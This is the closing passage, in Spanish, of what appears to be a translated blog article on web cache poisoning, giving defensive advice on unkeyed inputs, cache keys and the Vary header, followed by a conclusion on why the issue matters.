Restringir el almacenamiento en cache a respuestas puramente estáticas también es efectivo, siempre que sea lo suficientemente cuidadoso con lo que defina como "estático".

Del mismo modo, evitar tomar datos de los encabezados y las cookies es una forma efectiva de prevenir el envenenamiento de la memoria cache, pero es difícil saber si otras capas y frameworks se están escabulliendo en apoyo de los encabezados adicionales. Como tal, recomiendo auditar cada pagina de su aplicación con Param Miner para eliminar las entradas no analizadas.

Una vez que haya identificado las entradas no procesadas en su aplicación, la solución ideal es deshabilitarlas completamente. De lo contrario, podría quitar las entradas en la capa de cache o agregarlas a la clave de cache. Algunas memorias cache le permiten usar el encabezado Vary para codificar las entradas no analizadas, y otras permiten definir claves de cache personalizadas, pero pueden restringir esta función a clientes 'empresariales'.

Finalmente, independientemente de si su aplicación tiene un cache, algunos de sus clientes pueden tener un cache en su extremo y tales las vulnerabilidades del lado del cliente como XSS en encabezados HTTP nunca deben ser ignoradas.


Conclusión

El envenenamiento de la cache web esta lejos de ser una vulnerabilidad teórica, y las aplicaciones infladas y las enormes cantidades de servidores están conspirando para llevarlo a las masas. Hemos visto que incluso los frameworks bien conocidos pueden ocultar características peligrosas y omnipresentes, lo que confirma que nunca es seguro suponer que otra persona ha leído el código fuente solo por que es de código abierto y tiene millones de usuarios. También hemos visto como colocar un cache frente a un sitio web puede llevarlo de completamente seguro a críticamente vulnerable. Creo que esto es parte de una tendencia mayor, ya que a medida que los sitios web se vuelven cada vez mas ubicados dentro de los sistemas de ayuda, su postura de seguridad es cada vez mas difícil de evaluar adecuadamente de forma aislada.

Finalmente, he creado un pequeño desafió para que las personas pongan a prueba sus conocimientos y espero ver donde otros investigadores tomaran envenenamiento de cache web en el futuro.

No hay comentarios:

Publicar un comentario